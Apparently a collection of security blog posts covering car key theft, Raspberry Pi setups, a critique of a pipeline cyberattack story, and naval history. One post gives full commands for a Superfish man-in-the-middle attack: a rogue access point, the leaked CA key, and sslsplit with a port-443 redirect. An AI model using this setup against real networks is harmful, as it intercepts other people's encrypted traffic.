Don’t like the stereo in your car? Put in a better one aftermarket. Don’t like the seats? Upgrade those too, with better seat belts and lumbar support. Upgrade the brakes, the suspension and even put in an alarm…now ask yourself if you can find a new set of quality electronic locks that blocks the latest attacks. Where is that market?

Isn’t it strange that you can not simply upgrade to a better electronic lock? It sounds weird, right? Where would you go to get a better key system for your car? The platform, the car itself, should allow you to upgrade to an electronic key. Add a simple on/off switch and this attack would be defeated. This would be like installing better locks and keys in your home (explaining why our homes are not at the same level of risk from this attack). Why can’t you do this for a car?

That is the real question that a reporter in the NYT should have been asking people. Instead he found someone who suggested putting his key into a Faraday cage (blocking signals).

So now he has the bright idea to put his key in the freezer at home with the ice cream.

That shows a fundamentally flawed understanding and defeatist security. Who wants to keep their car at home to be safe because they can’t carry a freezer around everywhere. A metal box or even mylar bag would have been at least a nod in the right direction, to safely parking your car somewhere besides home.

Basically the NYT reporter over-reacts and then pats himself on the back with a silly and ineffective band-aid story. He misses entirely the opportunity to take a serious inquiry into why car manufacturers have been quiet about a long-time key management problem. Perhaps my Tweets were able to sway him towards realizing this is not as novel as he first thought.

Even better would have been if the reporter had been swayed to research why manufacturers use obfuscation instead of opening key management to a standard and free platform for innovation, supporting the safety advances from lock pick competitions. This issue is not about a Prius, a Toyota or even scary electronics entering our world. It is really about risk economics, policy and consumer rights.

Posted in Security.

SailPi: Install Sailfish OS on Raspberry Pi 2

It is surprisingly easy to install the Sailfish OS on a Raspberry Pi 2. There’s an official blog for all this and I just thought I’d share a few notes here for convenience. This took me about 5 minutes.

A: Preparation of SailPi

  1. Download sailfish image (511.5MB) sailfish image (218M, updated October 25, 2015) provided by sailpi
  2. MD5: 29edd5770fba01af5c547a90a589a22a 
    SHA-1: 156ea9d01b862420db0b32de313e6602865cb8f9
  3. Extract sfos-rpi2-glacier-03272015.img.xz sfos-rpi2- – I used 7-zip
  4. Write sfos-rpi2-glacier-03272015.img sfos-rpi2- to SD – I used Win32DiskImager
  5. Insert the SD to rPi2, connect network and power-up
  6. SSH to sailpi using default user:password (root:root)

B: Configuration of SailPi. I simply verify I am running Sailfish (Jolla), change the root password, and change the desktop orientation to horizontal.

  1. [root@Jolla ~]# uname -a

    Linux Jolla 3.18.8-v7+ #2 SMP PREEMPT Mon Mar 9 14:11:05 UTC 2015 armv7l armv7l armv7l GNU/Linux

  2. [root@Jolla ~]# passwd
  3. [root@Jolla ~]# vi /usr/share/lipstick-glacier-home-qt5/nemovars.conf

It almost was too easy.

In theory this could be the start of a home-made smartphone. The official SailPi blog talks about steps to enable bluetooth as well as adding a PiScreen and GSM board.

Posted in Security.

Antenna: Computer Viruses and Hacking (BBC 1989)

Interesting BBC program warning about a “new generation of hackers” in 1989. It’s full of soundbites about computer risk:

  • I thought it would never happen to me…
  • It’s a shock when it happens to you…
  • Everywhere I’ve worked so far it’s been there…
  • I felt as if I’d been burgled…
  • I’ve become far more cautious…
  • I think everyone needs to be careful…

Posted in History, Security.

SuperFish Exploit: Kali on Raspberry Pi 2

Robert Graham wrote a handy guide for a Superfish Exploit using Raspbian on a Raspberry Pi 2 (RP2). He mentioned wanting to run it on Kali instead so I decided to take that for a spin. Here are the steps. It took me about 20 minutes to get everything running.

A: Preparation of kali

  1. Download kali image (462.5MB) provided by @essobi
  2. Extract kali-0.1-rpi.img.xz – I used 7-zip
  3. MD5: 277ac5f1cc2321728b2e5dcbf51ac7ef 
    SHA-1: d45ddaf2b367ff5b153368df14b6a781cded09f6
  4. Write kali-0.1-rpi.img to SD – I used Win32DiskImager
  5. Insert the SD to RP2, connect network and power-up
  6. SSH to kali using default user:password (root:toor)

B: Configuration of kali. In brief, I changed the default password and added a user account. I gave the new account sudo rights, then I logged out and back in as the new user. After that I updated kali for pi (rpi-update) and changed the ssh keys.

  1. root@kali:~$ passwd
  2. root@kali:~$ adduser davi
  3. root@kali:~$ visudo
  4. davi@kali:~$ sudo apt-get install curl
  5. davi@kali:~$ sudo apt-get update && sudo apt-get upgrade
  6. davi@kali:~$ sudo wget -O /usr/bin/rpi-update
  7. davi@kali:~$ sudo chmod 755 /usr/bin/rpi-update
  8. davi@kali:~$ sudo rpi-update
  9. root@kali:~$ sudo dpkg-reconfigure openssh-server
  10. davi@kali:~$ sudo reboot

C: Configuration of network as Robert did – follow the elinux guide for details on how to edit the files.

  1. davi@kali:~$ sudo apt-get install hostapd udhcpd
  2. davi@kali:~$ sudo vi /etc/default/udhcpd
  3. davi@kali:~$ sudo ifconfig wlan0
  4. davi@kali:~$ sudo vi /etc/network/interfaces
  5. davi@kali:~$ sudo vi /etc/hostapd/hostapd.conf
  6. davi@kali:~$ sudo sh -c “echo 1 > /proc/sys/net/ipv4/ip_forward”
  7. davi@kali:~$ sudo vi /etc/sysctl.conf
  8. davi@kali:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  9. davi@kali:~$ sudo iptables -A FORWARD -i eth0 -o wlan0 -m state –state RELATED,ESTABLISHED -j ACCEPT
  10. davi@kali:~$ sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
  11. davi@kali:~$ sudo sh -c “iptables-save > /etc/iptables.ipv4.nat”
  12. davi@kali:~$ sudo vi /etc/network/interfaces
  13. davi@kali:~$ sudo service hostapd start
  14. davi@kali:~$ sudo service udhcpd start
  15. davi@kali:~$ sudo update-rc.d hostapd enable
  16. davi@kali:~$ sudo update-rc.d udhcpd enable

For example if instead of a static address you wanted the interface to grab a dynamic one:

  • davi@kali:~$ sudo vi /etc/network/interfaces auto wlan0
  • iface wlan0 inet dhcp
    wpa-ssid "SSID"
    wpa-psk "passphrase"

D: Configuration for Superfish Exploit. These commands follow Robert’s. I downloaded his test.pem file, duplicated it into a certificate file and then used vi to remove the redundant bits.

  1. davi@kali:~$ wget
  2. davi@kali:~$ cp test.pem ca.crt
  3. davi@kali:~$ vi test.pem
  4. davi@kali:~$ vi ca.crt
  5. davi@kali:~$ openssl rsa -in test.pem -out ca.key
  6. davi@kali:~$ sudo apt-get install sslsplit
  7. davi@kali:~$ mkdir /var/log/sslsplit
  8. davi@kali:~$ sslsplit -D -l connections.log -S /var/log/sslsplit -k ca.key -c ca.crt ssl 8443 &
  9. davi@kali:~$ sudo iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT –to-ports 8443

Obviously Robert did hard work figuring this out. I’ve just tested the basics to see what it would take to setup a Kali instance. If I test further or script it I’ll update this page. Also perhaps I should mention I have a couple hardware differences from Robert’s guide:

  • RP2. Cost: $35
  • 32GB SanDisk micro SD (which is FAR larger than necessary). Cost: $18
  • Edimax EW-7811Un wireless USB able to do “infrastructure mode”. Cost $10

Total cost: (re-purposed from other projects) $35 + $18 + $10 = $63
Total time: 20 minutes

Because I used such a large SD card, and the Kali image was so small, I also resized the partitions to make use of all that extra space.

Check starting use percentages:

  • davi@kali:~$ df -k
  • Filesystem     1K-blocks    Used Available Use% Mounted on
    rootfs           2896624 1664684   1065084  61% /
    /dev/root        2896624 1664684   1065084  61% /
    devtmpfs          470368       0    470368   0% /dev
    tmpfs              94936     460     94476   1% /run
    tmpfs               5120       0      5120   0% /run/lock
    tmpfs             189860       0    189860   0% /run/shm

Resize the partition

  1. davi@kali:~$ sudo fdisk /dev/mmcblk0
  2. type “p” (print partition table and NOTE START NUMBER FOR PARTITION 2)
  3. type “d” (delete partition)
  4. type “2” (second partition)
  5. type “n” (new partition)
  6. type “p” (primary partition)
  7. type “2” (second partition)
  8. hit “enter” to select default start number (SHOULD MATCH START NUMBER NOTED)
  9. hit “enter” to select default end number
  10. type “w” (write partition table)
  11. davi@kali:~$ sudo reboot
  12. davi@kali:~$ sudo resize2fs /dev/mmcblk0p2

Check finished use percentages:

  • davi@kali:~$ df -k
  • Filesystem     1K-blocks    Used Available Use% Mounted on
    rootfs          30549476 1668420  27590636   6% /
    /dev/root       30549476 1668420  27590636   6% /
    devtmpfs          470368       0    470368   0% /dev
    tmpfs              94936     464     94472   1% /run
    tmpfs               5120       0      5120   0% /run/lock
    tmpfs             189860       0    189860   0% /run/shm

Posted in Security.

Cyberwar revisionism: 2008 BTC pipeline explosion

Over on a site called “Genius” I’ve made a few replies to some other peoples’ comments on an old story: “Mysterious ’08 Turkey Pipeline Blast Opened New Cyberwar”

Genius offers the sort of experience where you have to believe a ton of pop-up scripts is a real improvement over plain text threads. Perhaps I don’t understand properly the value of markups and votes. So I’m re-posting my comments here in a more traditional text thread format, rather than using sticky-notes hovering over a story, not least of all because it’s easier for me to read and reference later.

Thinking about the intent of Genius, if there were an interactive interface I would rather see, the power of link-analysis and social data should be put into a 3D rotating text broken into paragraphs connected by lines from sources that you can spin through in 32-bit greyscale…just kidding.

But seriously if I have to click on every paragraph of text just to read it…something more innovative might be in order, more than highlights and replies. Let me know using the “non-genius boxes” (comment section) below if you have any thoughts on a platform you prefer.

Also I suppose I should introduce my bias before I begin this out-take of Genius (my text-based interpretation of their notation system masquerading as a panel discussion):

During the 2008 pipeline explosion I was developing critical infrastructure protection (CIP) tools to help organizations achieve reliability standards of the North American Electric Reliability Council (NERC). I think that makes me someone “familiar with events” although I’m never sure what journalists mean by that phrase. I studied the events extensively and even debriefed high-level people who spoke with media at the time. And I’ve been hands-on in pen-tests and security architecture reviews for energy companies.

Bloomberg: Countries have been laying the groundwork for cyberwar operations for years, and companies have been hit recently with digital broadsides bearing hallmarks of government sponsorship.

Thomas Rid: Let’s try to be precise here — and not lump together espionage (exfiltrating data); wiping attacks (damaging data); and physical attacks (damaging hardware, mostly ICS-run). There are very different dynamics at play.

Me: Agree. Would prefer not to treat every disaster as an act of war. In the world of IT the boundary between operational issues and security events (especially because software bugs are so frequent) tends to be very fuzzy. When security want to investigate and treat every event as a possible attack it tends to have the effect of 1) shutting down/slowing commerce instead of helping protect it 2) reducing popularity and trust in security teams. Imagine a city full of roadblocks and checkpoints for traffic instead of streetlights and a police force that responds to accidents. Putting in place the former will have disastrous effects on commerce.
People use terms like sophisticated and advanced to spin up worry about great unknowns in security and a looming cyberwar. Those terms should be justified and defined carefully; otherwise basic operational oversights and lack of quality in engineering will turn into roadblock city.

Bloomberg: Sony Corp.’s network was raided by hackers believed to be aligned with North Korea, and sources have said JPMorgan Chase & Co. blamed an August assault on Russian cyberspies.

Thomas Rid: In mid-February the NYT (Sanger) reported that the JPMorgan investigation has not yielded conclusive evidence.

Mat Brown: Not sure if this is the one but here’s a recent Bits Blog post on the breach

Me: “FBI officially ruled out the Russian government as a culprit” and “The Russian government has been ruled out as sponsor”

Bloomberg: The Refahiye explosion occurred two years before Stuxnet, the computer worm that in 2010 crippled Iran’s nuclear-enrichment program, widely believed to have been deployed by Israel and the U.S.

Robert Lee: Sort of. The explosion of 2008 occurred two years before the world learned about Stuxnet. However, Stuxnet was known to have been in place years before 2010 and likely in development since around 2003-2005. Best estimates/public knowledge place Stuxnet at Natanz in 2006 or 2007.

Me: Robert is exactly right. Idaho National Labs held tests called “Aurora” (over-accelerating destroying a generator) on the morning of March 4, 2007. (
By 2008 it became clear in congressional hearings that NERC had provided false information to a subcommittee in Congress on Aurora mitigation efforts by the electric sector. Tennessee Valley Authority (TVA) in particular was called vulnerable to exploit. Some called for a replacement of NERC. All before Stuxnet was “known”.

Bloomberg: National Security Agency experts had been warning the lines could be blown up from a distance, without the bother of conventional weapons. The attack was evidence other nations had the technology to wage a new kind of war, three current and former U.S. officials said.

Robert Lee: Again, three anonymous officials. Were these senior level officials that would have likely heard this kind of information in the form of PowerPoint briefings? Or were these analysts working this specific area? This report relies entirely on the evidence of “anonymous” officials and personnel. It does not seem like serious journalism.

Me: Agree. Would like to know who the experts were, given we also saw Russia dropping bombs five days later. The bombs after the fire kind of undermines the “without the bother” analysis.

Bloomberg: Stuxnet was discovered in 2010 and this was obviously deployed before that.

Robert Lee: I know and greatly like Chris Blask. But Jordan’s inclusion of his quote here in the story is odd. The timing aspect was brought up earlier and Chris did not have anything to do with this event. It appears to be an attempt to use Chris’ place in the community to add value to the anonymous sources. But Chris is just making an observation here about timing. And again, this was not deployed before Stuxnet — but Chris is right that it was done prior to the discovery of Stuxnet.

Me: Yes although I’ll disagree slightly. As Aurora tests by 2008 were in general news stories, and congress was debating TVA insecurity and NERC ability to honestly report risk, Stuxnet was framed to be more unique and notable that it should have been.

Bloomberg: U.S. intelligence agencies believe the Russian government was behind the Refahiye explosion, according to two of the people briefed on the investigation.

Robert Lee: It’s not accurate to say that “U.S. intelligence agencies” believe something and then source two anonymous individuals. Again, as someone that was in the U.S. Intelligence Community it consistently frustrates me to see people claiming that U.S. intelligence agencies believe things as if they were all tightly interwoven, sharing all intelligence, and believing the same things.

Additionally, these two individuals were “briefed on the investigation” meaning they had no first hand knowledge of it. Making them non-credible sources even if they weren’t anonymous.

Me: Also interesting to note the August 28, 2008 Corner House analysis of the explosion attributed it to Kurdish Rebels (PKK). Yet not even a mention here?

[NOTE: I’m definitely going to leverage Robert’s excellent nuance statements when talking about China. Too often the press will try to paint a unified political picture, despite social scientists working to parse and explain the many different perspectives inside an agency, let alone a government or a whole nation. Understanding facets means creating better controls and more rational policy.]

Bloomberg: Although as many as 60 hours of surveillance video were erased by the hackers

Robert Lee: This is likely the most interesting piece. It is entirely plausible that the cameras were connected to the Internet. This would have been a viable way for the ‘hackers’ to enter the network. Segmentation in industrial control systems (especially older pipelines) is not common — so Internet accessible cameras could have given the intruders all the access they needed.

Me: I’m highly suspect of this fact from experience in the field. Video often is accidentally erased or disabled. Unless there is a verified chain of malicious destruction steps, it almost always is more likely to find surveillance video systems fragile, designed wrong or poorly run.

Bloomberg: …a single infrared camera not connected to the same network captured images of two men with laptop computers walking near the pipeline days before the explosion, according to one of the people, who has reviewed the video. The men wore black military-style uniforms without insignias, similar to the garb worn by special forces troops.

Robert Lee: This is where the story really seems to fall apart. If the hackers had full access to the network and were able to connect up to the alarms, erase the videos, etc. then what was the purpose of the two individuals? For what appears to be a highly covert operation the two individuals add an unnecessary amount of potential error. To be able to disable alerting and manipulate the process in an industrial control system you have to first understand it. This is what makes attacks so hard — you need engineering expertise AND you must understand that specific facility as they are all largely unique. If you already had all the information to do what this story is claiming — you wouldn’t have needed the two individuals to do anything. What’s worse, is that two men walking up in black jumpsuits or related type outfits in the middle of the night sounds more like engineers checking the pipeline than it does special forces. This happened “days before the explosion” which may be interesting but is hardly evidence of anything.

Me: TOTALLY AGREE. I will just add that earlier we were being told “blown up from a distance, without the bother of conventional weapons” and now we’re being told two people on the ground walking next to the pipeline. Not much distance there.

Bloomberg: “Given Russia’s strategic interest, there will always be the question of whether the country had a hand in it,” said Emily Stromquist, an energy analyst for Eurasia Group, a political risk firm based in Washington.

Robert Lee: Absolutely true. “Cyber” events do not happen in a vacuum. There is almost always geopolitical or economical interests at play.

Me: I’m holding off from any conclusion it’s a cyber event. And strategic interest to just Russia? That pipeline ran across how many conflict/war zones? There was much controversy during planning. In 2003 analysts warned that the PKK were highly likely to attack it.

Bloomberg: Eleven companies — including majority-owner BP, a subsidiary of the State Oil Company of Azerbaijan, Chevron Corp. and Norway’s Statoil ASA — built the line, which has carried more than two billion barrels of crude since opening in 2006.

Robert Lee: I have no idea how this is related to the infrared cameras. There is a lot of fluff entered into this article.

Me: This actually supports the argument that the pipeline was complicated both in politics and infrastructure, increasing risks. A better report would run through why BP planning would be less likely to result in disaster in this pipeline compared to their other disasters, especially given the complicated geopolitical risks.

Bloomberg: According to investigators, every mile was monitored by sensors. Pressure, oil flow and other critical indicators were fed to a central control room via a wireless monitoring system. In an extra measure, they were also sent by satellite.

Robert Lee: This would be correct. There is a massive amount of sensor and alert data that goes to any control center — pipelines especially — as safety is of chief importance and interruptions of even a few seconds in data can have horrible consequences.

Me: I believe it is more accurate to say every mile was designed to be monitored by sensors. We see quite clearly from investigations of the San Bruno, California disaster (killing at least 8 people) that documentation and monitoring of lines are imperfect even in the middle of an expensive American suburban neighborhood.

Bloomberg: The Turkish government’s claim of mechanical failure, on the other hand, was widely disputed in media reports.

Thomas Rid: A Wikileaks State Department cable refers to this event — by 20 August 2009, BP CEO Inglis was “absolutely confident” this was a terrorist attack caused by external physical force. I haven’t had the time to dig into this, but here’s the screenshot from the cable:
Thanks to @4Dgifts

Me: It may help to put it into context of regional conflict at that time. Turkey started Operation Sun (Güneş Harekatı) attacking the PKK, lasting into March or April. By May the PKK had claimed retaliation by blowing up a pipeline between Turkey and Iran, which shutdown gas exports for 5 days ( We should at least answer why BTC would not be a follow-up event.
And there have been several explosions since then as well, although I have not seen anyone map all the disasters over time. Figure an energy market analyst must have done one already somewhere.
And then there’s the Turkish news version of events: “Turkish official confirms BTC pipeline blast is a terrorist act”

Thomas Rid: Thanks — Very useful!

Bloomberg: “We have never experienced any kind of signal jamming attack or tampering on the communication lines, or computer systems,” Sagir said in an e-mail.

Robert Lee: This whole section seems to heavily dispute the assumption of this article. There isn’t really anything in the article presented to dispute this statement.

Me: Agree. The entire article goes to lengths to make a case using anonymous sources. Mr. Sagir is the best source so far and says there was no tampering detected. Going back to the surveillance cameras, perhaps they were accidentally erased or non-functioning due to error.

Bloomberg: The investigators — from Turkey, the U.K., Azerbaijan and other countries — went quietly about their business.

Robert Lee: This is extremely odd. There are not many companies who have serious experience with incident response in industrial control system scenarios. Largely because industrial control system digital forensics and incident response is so difficult. Traditional information technology networks have lots of sources of forensic data — operations technology (industrial control systems) generally do not.

The investigators coming from one team that works and has experience together adds value. The investigators coming from multiple countries sounds impressive but on the ground level actually introduces a lot of confusion and conflict as the teams have to learn to work together before they can even really get to work.

Me: Agree. The pipeline would see not only confusion in the aftermath, it also would find confusion in the setup and operation, increasing chance of error or disaster.

Bloomberg: As investigators followed the trail of the failed alarm system, they found the hackers’ point of entry was an unexpected one: the surveillance cameras themselves.

Robert Lee: How? This is a critical detail. As mentioned before, incident response in industrial control systems is extremely difficult. The Industrial Control System — Computer Emergency Response Team (ICS-CERT) has published documents in the past few years talking about the difficulty and basically asking the industry to help out. One chief problem is that control systems usually do not have any ability to perform logging. Even in the rare cases that they do — it is turned off because it uses too much storage. This is extremely common in pipelines. So “investigators” seem to have found something but it is nearly outside the realm of possible that it was out in the field. If they had any chance of finding anything it would have been on the Windows or Linux systems inside the control center itself. The problem here is that wouldn’t have been the data needed to prove a failed alarm system.

It is very likely the investigators found malware. That happens a lot. They likely figured the malware had to be linked to blast. This is a natural assumption but extremely flawed based on the nature of these systems and the likelihood of random malware to be inside of a network.

Me: Agree. Malware noticed after disaster becomes very suspicious. I’m most curious why anyone would setup surveillance cameras for “deep into the internal network” access. Typically cameras are a completely isolated/dedicated stack of equipment with just a browser interface or even dedicated monitors/screens. Strange architecture.

Bloomberg: The presence of the attackers at the site could mean the sabotage was a blended attack, using a combination of physical and digital techniques.

Robert Lee: A blended cyber-physical attack is something that scares a lot of people in the ICS community for good reason. It combines the best of two attack vectors. The problem in this story though is that apparently it was entirely unneeded. When a nation-state wants to spend resources and talents to do an operation — especially when they don’t want to get caught — they don’t say “let’s be fancy.” Operations are run in the “path of least resistance” kind of fashion. It keeps resource expenditures down and keeps the chance of being caught low. With everything discussed as the “central element of the attack” it was entirely unneeded to do a blended attack.

Me: What really chafes my analysis is that the story is trying to build a scary “entirely remote attack” scenario while simultaneously trying to explain why two people are walking around next to the pipeline.
Also agree attackers are like water looking for cracks. Path of least resistance.

Bloomberg: The super-high pressure may have been enough on its own to create the explosion, according to two of the people familiar with the incident.

Robert Lee: Another two anonymous sources.

Me: And “familiar with the incident” is a rather low bar.

Bloomberg: Having performed extensive reconnaissance on the computer network, the infiltrators tampered with the units used to send alerts about malfunctions and leaks back to the control room. The back-up satellite signals failed, which suggested to the investigators that the attackers used sophisticated jamming equipment, according to the people familiar with the probe.

Robert Lee: If the back-up satellite signal failed in addition to alerts not coming from the field (these units are polled every few seconds or minutes depending on the system) there would have been an immediate response from the personnel unless they were entirely incompetent or not present (in that case this story would be even less likely). But jamming satellite links is an even extra level of effort beyond hacking a network and understanding the process. If this was truly the work of Russian hackers they are not impressive for all the things they accomplished — they were embarrassingly bad at how many resources and methods they needed to accomplish this attack when they had multiple ways of accomplishing it with any one of the 3-4 attack vectors.

Me: Agree. The story reads to me like conventional attack, known to be used by PKK, causes fire. Then a series of problems in operations are blamed on super-sophisticated Russians. “All these systems not working are the fault of elite hackers”

Bloomberg: Investigators compared the time-stamp on the infrared image of the two people with laptops to data logs that showed the computer system had been probed by an outsider.

Robert Lee: “Probed by an outsider” reveals the system to be an Internet connected system. “Probes” is a common way to describe scans. Network scans against publicly accessible devices occur every second. There is a vast amount of research and public information on how often Internet scans take place (usually a system begins to be scanned within 3-4 seconds of being placed online). It would have been more difficult to find time-stamps in any image that did not correlate to probing.

Me: Also is there high trust in time-stamps? Accurate time is hard. Looking at the various scenarios (attackers had ability to tamper, operations did a poor job with systems) we should treat a time-stamp-based correlation as how reliable?

Bloomberg: Years later, BP claimed in documents filed in a legal dispute that it wasn’t able to meet shipping contracts after the blast due to “an act of terrorism.”

Robert Lee: Which makes sense due to the attribution the extremists claimed.

Me: I find this sentence mostly meaningless. My guess is BP was using legal or financial language because of the constraints in court. Would have to say terrorism, vandalism, etc. to speak appropriately given precedent. No lawyer wants to use a new term and establish new norms/harm when they can leverage existing work.

Bloomberg: A pipeline bombing may fit the profile of the PKK, which specializes in extortion, drug smuggling and assaults on foreign companies, said Didem Akyel Collinsworth, an Istanbul-based analyst for the International Crisis Group. But she said the PKK doesn’t have advanced hacking capabilities.

Robert Lee: This actually further disproves the article’s theory. If the PKK took credit, the company believed it to be them, the group does not possess hacking skills, and specialists believe this attack was entirely their style — then it was very likely not hacking related.

Me: Agree. Wish this pipeline explosion would be put in context of other similar regional explosions, threats from the PKK that they would attack pipelines and regional analyst warnings of PKK attacks.

Bloomberg: U.S. spy agencies probed the BTC blast independently, gathering information from foreign communications intercepts and other sources, according to one of the people familiar with the inquiry.

Robert Lee: I would hope so. There was a major explosion in a piece of critical infrastructure right before Russia invaded Georgia. If the intelligence agencies didn’t look into it they would be incompetent.

Me: Agree. Not only for defense, also for offense knowledge, right? Would be interesting if someone said they probed it differently than the other blasts, such as the one three months earlier between Turkey and Iran.

Bloomberg: American intelligence officials believe the PKK — which according to leaked State Department cables has received arms and intelligence from Russia — may have arranged in advance with the attackers to take credit, the person said.

Robert Lee: This is all according to one, yet again, anonymous source. It is extremely far fetched. If Russia was going to go through the trouble of doing a very advanced and covert cyber operation (back in 2008 when these types of operations were even less publicly known) it would be very out of character to inform an extremist group ahead of time.

Me: Agree, although also plausible to tell a group a pipeline would be blown up without divulging method. Then the group claims credit without knowing method. The disconnect I see is Russia trying to bomb the same pipeline five days later. Why go all conventional if you’ve owned the systems and can remotely do what you like?

Bloomberg: The U.S. was interested in more than just motive. The Pentagon at the time was assessing the cyber capabilities of potential rivals, as well as weaknesses in its own defenses. Since that attack, both Iran and China have hacked into U.S. pipeline companies and gas utilities, apparently to identify vulnerabilities that could be exploited later.

Robert Lee: The Pentagon is always worried about these types of things. President Clinton published PDD-63 in 1998 talking about these types of vulnerabilities and they have been assessing and researching at least since then. There is also no evidence provided about the Iranian and Chinese hacks claimed here. It’s not that these types of things don’t happen — they most certainly do — it’s that it’s not responsible or good practice to cite events because “we all know it’s happening” instead of actual evidence.

Me: Yes, explaining major disasters already happening and focus of congressional work (2008 TVA) would be a better perspective on this section. August 2003 was a sea change in bulk power risk assessment. Talking about Iran and China seems empty/idle speculation in comparison:

Bloomberg: As tensions over the Ukraine crisis have mounted, Russian cyberspies have been detected planting malware in U.S. systems that deliver critical services like electricity and water, according to John Hultquist, senior manager for cyber espionage threat intelligence at Dallas-based iSight Partners, which first revealed the activity in October.

Robert Lee: It’s not that I doubt this statement, or John, but this is another bad trend in journalism. Using people that have a vested interest in these kind of stories for financial gain is a bad practice in the larger journalism community. iSight Partners offer cybersecurity services and specialize in threat intelligence. So to talk about ‘cyberspies’, ‘cyber espionage’, etc. is something they are financially motivated to hype up. I don’t doubt the credibility or validity of John’s statements but there’s a clear conflict of interest that shouldn’t be used in journalism especially when there are no named sources with first-hand knowledge on the event.

Me: Right! Great point Robert. Reads like free advertising for threat intelligence company X rather than trusted analysis. Would mind a lot less if a non-sales voice was presented with a dissenting view, or the journalist added in caution about the source being of a particular bias.
Also what’s the real value of this statement? As a crisis with Russia unfolds, we see Russia being more active/targeted. Ok, but what does this tell us about August 2008? No connection is made. Reader is left guessing.

Bloomberg: The keyboard was the better weapon.

Robert Lee: The entire article is focused on anonymous sources. In addition, the ‘central element of the attack’ was the computer intrusion which was analyzed by incident responders. Unfortunately, incident response in industrial control systems is at such a juvenile state that even if there were a lot of data, which there never is, it is hard to determine what it means. Attribution is difficult (look at the North Korea and Sony case where much more data was available including government level resources). This story just doesn’t line up.

When journalism reports on something it acknowledges would be history changing better information is needed. When those reports stand to increase hype and tension between nation-states in already politically tense times (Ukraine, Russia, Turkey, and the U.S.). Not including actual evidence is just irresponsible.

Me: Agree. It reads like a revision of history, so perhaps that’s why we’re meant to believe it’s “history changing.” I’m ready to see evidence of a hack yet after six years we have almost nothing to back up these claims. There is better detail about what happened from journalists writing at the time.
Also if we are to believe the conclusion that keyboards are the better weapon, why have two people walking along the pipeline and why bomb infrastructure afterwards? Would Russia send a letter after making a phone call? I mean if you look carefully at what Georgia DID NOT accuse Russia of it was hacking critical infrastructure.
Lack of detailed evidence, anonymous attribution, generic/theoretical vulnerability of infrastructure statements, no contextual explanations…there is little here to believe the risk was more than operational errors coupled with PKK targeted campaign against pipelines.

Posted in Energy, History, Security.

Eventually Navies Take Over

I attended a “keynote” talk at a security conference a few years ago with this title as a key premise. You know how I love history, so I was excited. The speaker, a well-regarded mathematician, told us “eventually, navies take over” because they will “perform tight surveillance of sea lanes and ensure safety for commerce”.

That sounded counter-factual to me, given what history tells us about rigid empires trying to oppress and control markets. So while I enjoyed the topic I noted some curious issues with this presentation perspective.

Common sense tells me authorities have historically struggled to stem a shift to nimbler, lighter and more open commerce lanes. Authoritarian models struggle for good reasons. Shipping routes protected by a Navy basically are a high tax that does not scale well, requiring controversial forms of “investment”.

This comes up all the time in security history circles. A “security tax” becomes an increasing liability because scaling perimeters is hard (the same way castles could not scale to protect trade on land); an expensive perimeter-based model as it grows actually helps accelerate demise of the empire that wants to stay in power. Perhaps we even could say navies trying to take over is the last straw for an enterprise gasping to survive as cloud services roll-in…

Consider that the infamous Spanish navy “flota” model — a highly guarded and very large shipment — seems an expensive disaster waiting to happen. It’s failure is not in an inability to deliver stuff from point A to B. The failure is in sustainability; an inability to stop competitive markets from forming with superior solutions (like the British version that came later trying to prevent American encroachment). The flota was an increased cost to maintain a route, which obsoleted itself.

Back to the keynote presentation it pointed out an attacker (e.g. the British) could make a large haul. This seems an odd point to make. Such a large haul was the effect of the flota, the perimeter model. There was a giant load of assets to be attacked, because it was an annual batch job. The British could take a large haul if they won, by design.

In defense of the flota model, the frequency of failure was low over many years. If we measured success simply on whether some shipments were profitable then it looks a lot better. This seems to me like saying Blockbuster was a success so eventually video rental stores (brick-and-mortar) take over. It sounds like going backwards in time not forward. The Spanish had a couple hundred years of shipments that kept the monarchy running, which may impress us just like the height of Blockbuster sales. To put it in infosec terms, should we say a perimeter model eventually will take over because it was used by company X to protect its commerce?

On the other hand the 80-years and the 30-years wars that Spain lost puts the flota timeline in different perspective. Oppressive extraction and taxes to maintain a navy that was increasingly overstretched and vulnerable, a period of expensive wars and leaks…in relative terms, this was not exactly a long stretch of smooth sailing.

More to the point, in peacetime the navy simply could not build a large enough presence to police all the leaks to pervasive draconian top-down trading rules. People naturally smuggled and expanded around navies or when they were not watching. We saw British and Dutch trade routes emerge out of these failures. And in wartime a growth in privateers increased difficulty for navies to manage routes against competition because the navy itself was targeted. Thus in a long continuum it seems we move towards openness until closed works out a competitive advantage. Then openness cracks the model and out-competes until…and so on. If we look at this keynote’s lesson from a Spanish threat to “take over” what comes to mind is failure; otherwise wouldn’t you be reading this in Spanish?

Hopefully this also puts into context why by 1856 America refused to ban “letters of marque” (despite European nations doing so in the Paris Declaration). US leadership expressly stated it would never want or need a permanent/standing navy (it believed privateers would be its approach to any dispute with a European military). The young American country did not envision having its own standing navy perhaps because it saw no need for the relic of unsustainable and undesirable closed markets. The political winds changed quite a bit for the US in 1899 after dramatic defeats of Spain but that’s another topic.

The conference presentation also unfortunately used some patently misleading statements like “pirates that refused to align with a government…[were] eventually executed”. I took that to mean the presenter was saying a failure to choose to serve a nation, a single one at that, would be a terminal risk for any mercenary or pirate. And I don’t believe that to be true at all.

We know some pirates, perhaps many, avoided being forced into alignment through their career and then simply retired on terms they decided. Peter Easton, a famous example, bought himself land with a Duke’s title in France. Duke Easton’s story has no signs of coercion or being forced to align. It sounds far more like a retirement agreement of his choosing. The story of “Wife of Cheng” is another example. Would you call her story the alignment of a pirate with a government, or a government aligning with the pirate? She clearly refused to align and was not executed.

Cheng I Sao repelled attack after attack by both the Chinese navy and the many Portuguese and British bounty hunters brought in to help capture her. Then, in 1810, the Chinese government tried a different tactic — they offered her universal pirate amnesty in exchange for peace.

Cheng I Sao jumped at the opportunity and headed for the negotiating table. There, the pirate queen arranged what was, all told, a killer deal. Fewer than 400 of her men received any punishment, and a mere 126 were executed. The remaining pirates got to keep their booty and were offered military jobs.

Describing pirates’ options as binary alignment-or-be-executed is crazy when you also put it in frame of carrying dual or more allegiances. One of the most famous cases in American history involves ships switching flags to the side winning at sea in order to get a piece of the spoils on their return to the appropriate port. The situation, in brief, unfolded (pun not intended) when two American ships came upon an American ship defeating a British one. The two approaching ships switched to British flags, chased off the American, then took the British ship captive switched flags back to American and split the reward from America under “letters of marque”. Eventually in court the wronged American ship proved the situation and credit was restored. How many cases went unknown?

